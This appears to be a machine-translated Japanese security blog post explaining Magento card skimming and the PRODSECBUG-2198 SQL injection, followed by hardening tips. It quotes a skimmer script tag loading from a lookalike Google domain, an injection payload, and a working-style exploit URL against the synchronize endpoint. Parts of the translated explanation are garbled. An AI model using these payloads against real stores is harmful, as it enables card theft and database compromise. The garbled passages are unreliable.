Magento カード スキミングのしくみと安全な方法
Magento カード スキミングは、Magento の Web サイトに「スキマー」と呼ばれる悪意のあるスクリプトを挿入して、クレジット/デビット情報を違法に盗む行為です。 あなたが Magento を利用した Web サイトの所有者である場合、この記事はあなたのためのものです。 お届けします Magento カード スキミングのセキュリティ問題に関して必要なすべての詳細が記載された優れたリソースです。
この記事では、Magento カード スキミングとは何か、およびそれが Magento Web サイトにどのように影響するか (概念実証付き) について説明します。さらに、この問題からウェブサイトを免れる方法について、いくつかの実用的なヒントを学びます。それでは、早速始めましょう。
関連記事 – Magento ストアに対する Magecart 攻撃とその防止方法
Magento カード スキミングとは?
Magento は、PHP ベースのオープンソースの e コマース プラットフォームです。これは、現在アドビが所有する自己ホスト型のコンテンツ管理システムです。約 250,000 以上の Web サイトが Magento を使用して e コマース Web サイトを強化しています。これらの Web サイトの大部分は、米国を拠点とする e コマースの巨人に属しています。したがって、Magento には顧客体験を確保するという重い責任があります。
一方、カード スキミングは、物理的なカード スキミング デバイスによってクレジット カードやデビット カードから情報を不正にコピーする行為です。これが、Magento とカード スキミングがどのように関連付けられたかです。
Magento カード スキミングは、ハッカーがサード パーティのスクリプトを通じて Magento の支払い情報を盗む Web スキミングの一種です。このスクリプトにより、所有者の名前、クレジット カード/デビット カード番号、CVV 番号、有効期限などの重要な銀行情報を盗むことができます。ハッカーは通常、この情報をブラック マーケットで販売することで収益化します。
PRODSECBUG-2198 について 悪用
PRODSECBUG-2198 の問題は、2018 年 11 月 9 日に Bugcrowd で最初に報告されました。基本的に、PRODSECBUG-2198 は、Magento で SQL インジェクションを可能にする脆弱なコードです。この脆弱性により、認証されていないユーザーが任意のコードを実行し、機密情報の漏えいを引き起こす可能性があります。
すぐに、バグは P1 としてマークされました。 Bugcrowd によると、P1 脆弱性は、権限昇格を引き起こす可能性のある脆弱性です。このため、どのユーザーも下位レベルの権限から管理者権限に昇格できます。さらに、リモートでコードを実行したり、金銭的な窃盗などを行うことができます。エクスプロイトは、次のバージョンの Magento を標的にしました:
- Magento コマース <1.14.4.1
- Magento オープン ソース <1.9.4.1
- マジェント <2.1.17
- マジェント <2.2.8
- マジェント <2.3.1
Google の名前によるスキマー
ごく最近の Magento スキミングのケースでは、ハッカーが偽の Google ドメインを使用して支払いの詳細を盗むことを確認しました。この攻撃では、悪意のある JavaScript が google-analytîcs.com というドメインから読み込まれていました。 または xn--google-analytcs-xpb.com。
よく見るとGoogle独自ドメインでのネームプレイです。したがって、このスキミング攻撃では、機密の支払い情報を取得する方法としてフィッシングが使用されます。スクリプトは次のようになります –
<script type="text/javascript" src="//google-analytîcs.com/www.[redacted].com/3f5cf4657d5d9.js"></script>
さらに、このスキマーは、読み込まれた JavaScript と document.getElementsByTagName を使用してデータをキャプチャします。 開いている開発者ツールがない場合、このスキマーは盗んだデータを偽の Google ドメインに送信します – google-analytîcs.com または xn--google-analytcs-xpb.com。
ただし、Web サイトで開発者ツールが開いていると、奇妙な動作を示します。送信プロセスの途中で検出して停止します。また、この動作は、使用しているブラウザ ソフトウェアによって異なります。
Magento カード スキミング:概念実証
このセキュリティ脆弱性に関する概念実証は、次のように言及されています。これは Python で書かれており、Magento カード スキミングの問題を引き起こす主な原因です。
- このコードは基本的に、ランダムな URL とセッション データを使用してダミーのブラウザ セッションを作成します。これは、Browser クラスとセッション取得関数を使用して行われます。
- セッションの詳細を含む Browser クラスのオブジェクトが SQL インジェクション クラスに渡されます。
- SQL インジェクションは、一部のペイロード データをセッション URL に追加し、製品を作成してから、ウェブサイトのデータベースから重要な詳細を取得します。 SQL インジェクション ペイロードを変更して、バックエンド データへの特権アクセスを取得することもできます。
- 攻撃者は、ユーザーの最近の取引と銀行情報に関する情報を入手します。
エクスプロイトは Magento Web サイトにどのように感染しますか?
Magento には、約 200 万 PHP 行の巨大なコードベースがあります。これにより、エクスプロイトの監査と検索が面倒な作業になります。しかし、倫理的なハッカーのチームがコードをチェックしたところ、ORM と DB の管理を担当するコードにターゲットを絞り込みました。
Magento Card Skimming のバグが存在する領域は次のとおりです。
1. prepareSQLCondition 関数内
このパブリック関数は、データベースを処理するメイン クラスの 1 つに含まれており、
に配置できます。MagentoFrameworkDBAdapterPdoMysql
関数コードは次のとおりです:
エクスプロイトについて理解する
マークされた行に注意を向けて、エクスプロイトの動作を理解しましょう。 [1] とマークされた行では、条件エイリアスが $conditionKeyMap を使用してパターンに関連付けられています。これにより、エイリアス内のすべての「?」文字が、30 ~ 35 行に記述されたロジックに基づいて、33 行目の _prepareQuotedSqlCondition() 関数を使用して、指定された値の引用バージョンに置き換えられます。次に、次のコード インスタンスを考えてみましょう:
<?php
$db->prepareSqlCondition('username', ['regexp' => 'my_value']);
=> $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?";
=> $query = "username REGEXP 'my_value'";
ここで、30 行目で「from」条件と「to」条件を組み合わせて使用すると問題が発生します。そのコードのロジックにより、フィールドが範囲内に含まれることが保証されます。理解を深めるために、次のコード スニペットを見てみましょう:
<?php
$db->prepareSqlCondition('price', [
'from' => '100'
'to' => '1000'
]);
$query = "price >= '100' AND price <= '1000'";
実行ロジックに従って、両方の条件が存在する場合は常に、最初に「from」が処理され、次に「to」が処理されます。しかし、38 行目で重大な間違いがあります。「from」が生成するクエリは、さらに書式設定に使用されます。
これで、すべての「?」 「from」の値に疑問符が含まれている場合、「to」に割り当てられた値の引用バージョンに置き換えられます。有効な SQL インジェクション攻撃を実行するために、攻撃者は次のエクスプロイト コードを展開できます:
<?php
$db->prepareSqlCondition(‘price’,[
‘from’ => ‘x?’
‘to’ => ‘ OR 1=1 -- -’
]);
-> $query = “price >= ‘x’ OR 1=1 -- -’’ AND price <= ’ OR 1=1 -- -’”
間違いは、非常に小さい規模であるにもかかわらず、非常に影響力があることが判明する可能性があります.驚くべきことに、このコードは Magento バージョン 1.x から存在していました。
2. Synchronize クラスの execute 関数内
別の脆弱性が次の場所の実行機能に見つかりました:
MagentoCatalogControllerProductFrontendActionSynchronize
セキュリティ上の問題が明らかになった PHP ソース コードは次のとおりです。
<?php
public function execute()
{
$resultJson = $this->jsonFactory->create();
try {
$productsData = $this->getRequest()->getParam(‘ids’,[]);
$typeId = $this->getRequest()->getParam(‘type_id’,null);
$this->synchronizer->syncActions($productsData, $typeId);
} catch (Exception $e) {
$resultsJson->setStatusHeader(
ZendHttpResponse::STATUS_CODE_400,
ZendHttpAbstractMessage::VERSION_11,
‘Bad Request’
);
}
return $resultsJson->setData([]);
最終的にバグにつながるコール スタック:
<?php
$productsData = $this->getRequest()->getParam('ids', []);
$this->synchronizer->syncActions($productsData, $typeId);
$collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData));
$this->_translateCondition($field, $condition);
$this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition);
$this->getConnection()->prepareSqlCondition($fieldName, $condition);
この脆弱なコードは、Magento の v2.2.0 から存在します。 Magento カード スキミングに関連するこの認証されていないブラインド SQL インジェクションを引き起こす可能性のあるサンプル URL は次のとおりです:
https://magento2website.com/catalog/product_frontend_action/synchronize?
type_id=recently_products&
ids[0][added_at]=&
ids[0][product_id][from]=?&
ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
データベースから情報を読み取ることができるようになったので、攻撃者は管理者アカウントの資格情報を抽出し、それを使用してバックエンドにアクセスできます。また、ユーザー データベースやトランザクション データベースから銀行取引やその他の財務情報を盗み出す可能性もあります。攻撃者はこの情報を使用して、電子商取引詐欺やフィッシング、さらにはビッシングなどのサイバー犯罪を実行する可能性があります。攻撃者は、Web サイトにマルウェアをホストすることもあり、e コマース プラットフォームでの組織の評判を損なう可能性があります。 Web サイトが検索エンジンによってブラックリストに登録される可能性があり、Web サイトのオーガニック トラフィックが減少する可能性があります。
Magento カード スキミングから Web サイトを保護する方法
Magento カード スキミングの仕組みを詳しく理解したので、今後このような攻撃からどのように保護できるかを理解しましょう。
<オール>prepareSqlInjection 関数のサニタイズ
prepareSqlInjection 関数のセキュリティ バグを取り除くには、コードを次のように記述する必要があります:
$query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);
「this」ポインターを使用して渡された値への参照は、攻撃者がバックエンド データに直接アクセスすることを防ぎます。ポインター変数を使用すると、データの抽象化と、許可された関数のみへのアクセスも可能になります。
入力データの検証
Magento ベースの Web サイトのいずれかのページで入力として取得される値は、バックエンド処理のためにさらに渡す前に検証する必要があります。検証は、適切な関数または適切なロジックを使用して実行できます。それは誰にでもできるものでなければなりません。 Web サイト管理者は、Web サイト開発者が安全で脆弱性の低いコードを書くことを義務付けなければなりません。
安全に更新
Magento ベースの Web サイトで使用されているすべてのプラグインは、最新バージョンに更新されている必要があります。これにより、顧客とユーザーの安全な体験が保証されます。ハッカーは通常、古いプラグインで実行されている Web サイトを標的にし、マルウェアをホストして Web サイトの速度を低下させ、Magento Web サイトをブラックリストに載せることができます。
セキュリティ監査
サイトの徹底的なセキュリティ監査を行い、Web サイトにセキュリティの抜け穴がまだないことを確認します。すべての Magento ユーザーの改訂を行い、見覚えのないユーザーを削除します。すべての抜け穴とコーディングの脆弱性を明らかにするために、専門の VAPT (脆弱性評価と侵入テスト) を Web サイトで実施できます。
セキュリティの不一致を報告
ユーザーデータベースまたはトランザクションを処理するデータベースにセキュリティ違反の痕跡が見つかった場合は、関係者 (支払い処理業者、顧客、および会社の利害関係者) に連絡して、この緊急事態をできるだけ早く解決してください。セキュリティ違反を放置してはなりません。
共有ホスティングのセキュリティ リスクに注意
Web サイトが共有ホスティングを使用してホストされている場合は、バックアップとセキュリティ強化のためのプランを購入する必要があります。セキュリティ管理者または Web サイト管理者は、ホスティング サービス プロバイダーに連絡し、共有ホスティング サーバーでホストされている他の Web サイトに関する知識を持っている必要があります。経済的なオプションを選択して、ビジネスのオンラインでの評判を危険にさらさないでください。共有セキュリティ リスクに関する詳細な議論は、Astra ブログの以前の記事で既に行われています。ここで読むことができます。
データ暗号化
強力な暗号化メカニズムを使用して、Web サイト データベースに保存されているデータを暗号化します。これにより、攻撃者がユーザーの個人データや組織の戦略情報に侵入するのに苦労することになります。
XSS 攻撃経路を修正
Magento の支払いゲートウェイ ページは PHP ベースのフォームを使用して構築されているため、この記事では XSS については説明しませんが、htmlspecialchars() を使用することが重要です。 $_SERVER["PHP_SELF"] 攻撃を防ぐ関数
ファイアウォールをインストールする
Web アプリケーション ファイアウォールをインストールすることは、Web サイトのセキュリティを強化するもう 1 つの方法です。 Astra のファイアウォールは、Web サイトの継続的な監視システムです。 24 時間 365 日、ウェブサイトにやってくる脅威を特定してブロックします。さらに、攻撃が試みられるたびに進化し続け、次の攻撃に備えてより適切に構成されます。
Magento のセキュリティ問題に関するその他の記事については、ここをクリックしてください .
記事は役に立ちましたか? Facebook、Twitter、LinkedIn で友達と共有してください。
-
Magento Killer とその仕組み
「Magento Killer」という名前の新たに見つかったスクリプト 」は最近、Magento Web サイトをターゲットにしています。スクリプト $ConfKiller Web サイトで最も重要なファイル、つまり構成ファイル (構成ファイル) をターゲットにします。さらに、$ConfKiller スクリプトが正常に実行された場合、攻撃された Magento データベースの core_config_data テーブルを変更できます。 Magento のインストール全体を停止するわけではありませんが、それでも Web サイトに害を及ぼします。 Magento キラーは、データにクレジット カ
-
Snapchat の仕組み
Snapchat がモバイル メッセージング アプリの世界に革命をもたらしたと言っても過言ではありません。 Snapchat が登場する前は、友人とのコミュニケーションにこれほどユニークな方法があるとは誰も夢にも思いませんでした。 Snapchat がもたらす自己破壊的な画像や動画という概念は、通常のメッセージやソーシャル ネットワーキング アプリとはまったく異なります。そしてこれが、2011 年の開始以来、Snapshot が現在 1 億 8000 万人を超える毎日のアクティブ ユーザーを持つ最も人気のあるアプリの 1 つになっている理由です。また、報告によると、ファンのフォローはティーンエ